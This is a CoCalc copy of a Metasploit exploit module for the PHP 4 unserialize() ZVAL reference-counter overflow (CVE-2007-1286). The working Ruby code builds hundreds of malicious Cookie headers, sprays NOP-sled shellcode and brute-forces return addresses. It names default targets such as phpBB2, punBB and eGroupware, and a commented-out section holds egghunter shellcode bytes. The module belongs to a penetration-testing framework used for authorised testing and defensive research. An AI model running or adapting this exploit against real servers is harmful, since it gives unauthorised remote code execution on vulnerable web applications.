Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
31919 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Brute
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
18
'Description' => %q{
19
This module exploits an integer overflow vulnerability in the unserialize()
20
function of the PHP web server extension. This vulnerability was patched by
21
Stefan in version 4.5.0 and applies all previous versions supporting this function.
22
This particular module targets numerous web applications and is based on the proof
23
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
24
of data to trigger due the multiple Cookie headers requirement. Since we
25
are already assuming a fast network connection, we use a 2Mb block of shellcode for
26
the brute force, allowing quick exploitation for those with fast networks.
27
28
One of the neat things about this vulnerability is that on x86 systems, the EDI register points
29
into the beginning of the hashtable string. This can be used with an egghunter to
30
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
31
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
32
module is more reliable across a wider range of systems.
33
},
34
'Author' => [
35
'hdm', # module development
36
'GML <grandmasterlogic[at]gmail.com>', # module development and debugging
37
'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited
38
],
39
'License' => MSF_LICENSE,
40
'References' => [
41
['CVE', '2007-1286'],
42
['OSVDB', '32771'],
43
['URL', 'http://web.archive.org/web/20240619200429/http://php-security.org/MOPB/MOPB-04-2007.html'],
44
],
45
'Privileged' => false,
46
'Payload' => {
47
'Space' => 1024
48
},
49
'Targets' => [
50
51
#
52
# 64-bit SuSE: 0x005c0000
53
# Backtrack 2.0: 0xb797a000
54
# Gentoo: 0xb6900000
55
#
56
[
57
'Linux x86 Generic',
58
{
59
'Platform' => 'linux',
60
'Arch' => [ ARCH_X86 ],
61
'Bruteforce' =>
62
{
63
'Start' => { 'Ret' => 0xb6000400 },
64
'Stop' => { 'Ret' => 0xbfff0000 },
65
'Step' => 1024 * 1024
66
}
67
}
68
],
69
[
70
'Linux x86 phpBB2',
71
{
72
'DefaultCookie' => 'phpbb2mysql_data',
73
'DefaultURI' => '/phpBB2/faq.php',
74
'Signature' => /Powered\s+by.*phpBB/,
75
'Platform' => 'linux',
76
'Arch' => [ ARCH_X86 ],
77
'Bruteforce' =>
78
{
79
'Start' => { 'Ret' => 0xb6000400 },
80
'Stop' => { 'Ret' => 0xbfff0000 },
81
'Step' => 1024 * 1024
82
}
83
}
84
],
85
[
86
'Linux x86 punBB',
87
{
88
'DefaultCookie' => 'punbb_cookie',
89
'DefaultURI' => '/index.php',
90
'Signature' => /Powered\s+by.*PunBB/,
91
'Platform' => 'linux',
92
'Arch' => [ ARCH_X86 ],
93
'Bruteforce' =>
94
{
95
'Start' => { 'Ret' => 0xb6000400 },
96
'Stop' => { 'Ret' => 0xbfff0000 },
97
'Step' => 1024 * 1024
98
}
99
}
100
],
101
[
102
'Linux x86 WWWThreads',
103
{
104
'DefaultCookie' => 'forum_cookie',
105
'DefaultURI' => '/index.php',
106
'Signature' => /Powered\s+by.*WWWThreads/,
107
'Platform' => 'linux',
108
'Arch' => [ ARCH_X86 ],
109
'Bruteforce' =>
110
{
111
'Start' => { 'Ret' => 0xb6000400 },
112
'Stop' => { 'Ret' => 0xbfff0000 },
113
'Step' => 1024 * 1024
114
}
115
}
116
],
117
[
118
'Linux x86 Deadman Redirect',
119
{
120
'DefaultCookie' => 'authcookie',
121
'DefaultURI' => '/dmr/dmr.php',
122
'Signature' => /document\.f\.userdata\.focus/,
123
'Platform' => 'linux',
124
'Arch' => [ ARCH_X86 ],
125
'Bruteforce' =>
126
{
127
'Start' => { 'Ret' => 0xb6000400 },
128
'Stop' => { 'Ret' => 0xbfff0000 },
129
'Step' => 1024 * 1024
130
}
131
}
132
],
133
[
134
'Linux x86 PhpWebGallery',
135
{
136
'DefaultCookie' => 'pwg_remember',
137
'DefaultURI' => '/phpwebgallery/index.php',
138
'Signature' => /Powered\s+by.*phpwebgallery/msi,
139
'Platform' => 'linux',
140
'Arch' => [ ARCH_X86 ],
141
'Bruteforce' =>
142
{
143
'Start' => { 'Ret' => 0xb6000400 },
144
'Stop' => { 'Ret' => 0xbfff0000 },
145
'Step' => 1024 * 1024
146
}
147
}
148
],
149
[
150
'Linux x86 Ariadne-CMS',
151
{
152
'DefaultCookie' => 'ARCookie',
153
'DefaultURI' => '/ariadne/loader.php/',
154
'Signature' => /Ariadne is free software/,
155
'Platform' => 'linux',
156
'Arch' => [ ARCH_X86 ],
157
'Bruteforce' =>
158
{
159
'Start' => { 'Ret' => 0xb6000400 },
160
'Stop' => { 'Ret' => 0xbfff0000 },
161
'Step' => 1024 * 1024
162
}
163
}
164
],
165
[
166
'Linux x86 ProMA',
167
{
168
'DefaultCookie' => 'proma',
169
'DefaultURI' => '/proma/index.php',
170
'Signature' => /Change Account Information/,
171
'Platform' => 'linux',
172
'Arch' => [ ARCH_X86 ],
173
'Bruteforce' =>
174
{
175
'Start' => { 'Ret' => 0xb6000400 },
176
'Stop' => { 'Ret' => 0xbfff0000 },
177
'Step' => 1024 * 1024
178
}
179
}
180
],
181
[
182
'Linux x86 eGroupware',
183
{
184
'DefaultCookie' => 'eGW_remember',
185
'DefaultURI' => '/egroupware/login.php',
186
'Signature' => /www.egroupware.org/,
187
'Platform' => 'linux',
188
'Arch' => [ ARCH_X86 ],
189
'Bruteforce' =>
190
{
191
'Start' => { 'Ret' => 0xb6000400 },
192
'Stop' => { 'Ret' => 0xbfff0000 },
193
'Step' => 1024 * 1024
194
}
195
}
196
]
197
],
198
'DisclosureDate' => '2007-03-04',
199
'Notes' => {
200
'Reliability' => UNKNOWN_RELIABILITY,
201
'Stability' => UNKNOWN_STABILITY,
202
'SideEffects' => UNKNOWN_SIDE_EFFECTS
203
}
204
)
205
)
206
207
register_options(
208
[
209
OptString.new('URI', [false, 'The path to vulnerable PHP script']),
210
OptString.new('COOKIENAME', [false, 'The name of the cookie passed to unserialize()'])
211
]
212
)
213
end
214
215
def check
216
vprint_status('Checking for a vulnerable PHP version...')
217
218
#
219
# Pick the URI and Cookie name
220
#
221
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
222
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
223
224
if (!cookie_name)
225
fail_with(Failure::Unknown, 'The COOKIENAME option must be set')
226
end
227
228
if (!uri_path)
229
fail_with(Failure::Unknown, 'The URI option must be set')
230
end
231
232
res = send_request_cgi({
233
'uri' => uri_path,
234
'method' => 'GET'
235
}, 5)
236
237
php_bug = false
238
239
if (!res)
240
vprint_status('No response from the server')
241
return Exploit::CheckCode::Unknown # User should try again
242
end
243
244
http_fingerprint({ response: res }) # check method
245
246
if (res.code != 200)
247
vprint_status("The server returned #{res.code} #{res.message}")
248
return Exploit::CheckCode::Safe
249
end
250
251
if (
252
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ %r{PHP/(.*)}) or
253
(res.headers['Server'] and res.headers['Server'] =~ %r{PHP/(.*)})
254
)
255
256
php_raw = ::Regexp.last_match(1)
257
php_ver = php_raw.split('.')
258
259
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
260
vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")
261
php_bug = true
262
else
263
vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
264
return Exploit::CheckCode::Safe
265
end
266
end
267
268
# Detect the phpBB cookie name
269
if res.get_cookies =~ /(.*)_(sid|data)=/
270
vprint_status("The server may require a cookie name of '#{::Regexp.last_match(1)}_data'")
271
end
272
273
if (target and target['Signature'])
274
if (res.body and res.body.match(target['Signature']))
275
vprint_status("Detected target #{target.name}")
276
else
277
vprint_status("Did not detect target #{target.name}")
278
end
279
280
end
281
282
return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected
283
end
284
285
def brute_exploit(target_addrs)
286
zvalref = encode_semis('i:0;R:2;')
287
288
#
289
# Use this if we decide to do 'jmp edi' returns vs brute force
290
#
291
=begin
292
# Linux specific egg-hunter
293
tagger = "\x90\x50\x90\x50"
294
hunter =
295
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
296
"\x3c\xf2\x74\xf1\xb8" +
297
tagger +
298
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
299
300
egghunter = "\xcc" * 39
301
egghunter[0, hunter.length] = hunter
302
303
hashtable = "\xcc" * 39
304
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
305
306
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
307
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
308
=end
309
310
#
311
# Just brute-force addresses for now
312
#
313
tagger = ''
314
egghunter = rand_text_alphanumeric(39)
315
hashtable = rand_text_alphanumeric(39)
316
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
317
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
318
319
#
320
# Pick the URI and Cookie name
321
#
322
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
323
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
324
325
if (!cookie_name)
326
fail_with(Failure::Unknown, 'The COOKIENAME option must be set')
327
end
328
329
if (!uri_path)
330
fail_with(Failure::Unknown, 'The URI option must be set')
331
end
332
333
# Generate and reuse the original buffer to save CPU
334
if (!@saved_cookies)
335
336
# Building the malicious request
337
print_status('Creating the request...')
338
339
# Create the first cookie header to get this started
340
cookie_fun = "Cookie: #{cookie_name}="
341
cookie_fun << Rex::Text.uri_encode(
342
'a:100000:{s:8:"' +
343
rand_text_alphanumeric(8) +
344
'";a:3:{s:12:"' +
345
rand_text_alphanumeric(12) +
346
'";a:1:{s:12:"' +
347
rand_text_alphanumeric(12) +
348
'";i:0;}s:12:"' +
349
rand_text_alphanumeric(12) +
350
'";' +
351
'i:0;s:12:"' +
352
rand_text_alphanumeric(12) +
353
'";i:0;}'
354
)
355
cookie_fun << zvalref * 500
356
cookie_fun << Rex::Text.uri_encode('s:2:"')
357
cookie_fun << "\r\n"
358
359
refcnt = 1000
360
refmax = 65535
361
362
# Keep adding cookie headers...
363
while (refcnt < refmax)
364
365
chead = 'Cookie: '
366
chead << encode_semis('";N;')
367
368
# Stay within the 8192 byte limit
369
0.upto(679) do |_i|
370
break if refcnt >= refmax
371
372
refcnt += 1
373
374
chead << zvalref
375
end
376
chead << encode_semis('s:2:"')
377
cookie_fun << chead + "\r\n"
378
end
379
380
# The final header, including the hashtable with return address
381
cookie_fun << 'Cookie: '
382
cookie_fun << Rex::Text.uri_encode('";N;')
383
cookie_fun << zvalref * 500
384
385
@saved_cookies = cookie_fun
386
end
387
388
# Generate and reuse the payload to save CPU time
389
if (!@saved_payload)
390
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
391
end
392
393
cookie_addrs = Rex::Text.uri_encode(
394
's:39:"' + egghunter + '";s:39:"' + hashtable + '";i:0;R:3;'
395
) + "\r\n"
396
397
print_status('Trying address 0x%.8x...' % target_addrs['Ret'])
398
res = send_request_cgi({
399
'uri' => uri_path,
400
'method' => 'POST',
401
'raw_headers' => @saved_cookies + cookie_addrs,
402
'data' => @saved_payload
403
}, 1)
404
405
if res
406
failed = false
407
408
print_status("Received a response: #{res.code} #{res.message}")
409
410
if (res.code != 200)
411
print_error('The server returned a non-200 response, indicating that the exploit failed')
412
failed = true
413
end
414
415
if (!failed and (res.body and res.body.length > 0))
416
print_error('The server returned a real response, indicating that the exploit failed')
417
failed = true
418
end
419
420
if (failed)
421
print_status('Please verify the URI and COOKIENAME parameters.')
422
print_line('')
423
print_line('*' * 40)
424
print_line(res.body)
425
print_line('*' * 40)
426
print_line('')
427
428
fail_with(Failure::Unknown, 'Exploit settings are probably wrong')
429
end
430
else
431
print_status('No response from the server')
432
end
433
end
434
435
def encode_semis(str)
436
str.gsub(';') { |s| sprintf('%%%.2x', s[0]) }
437
end
438
end
439
440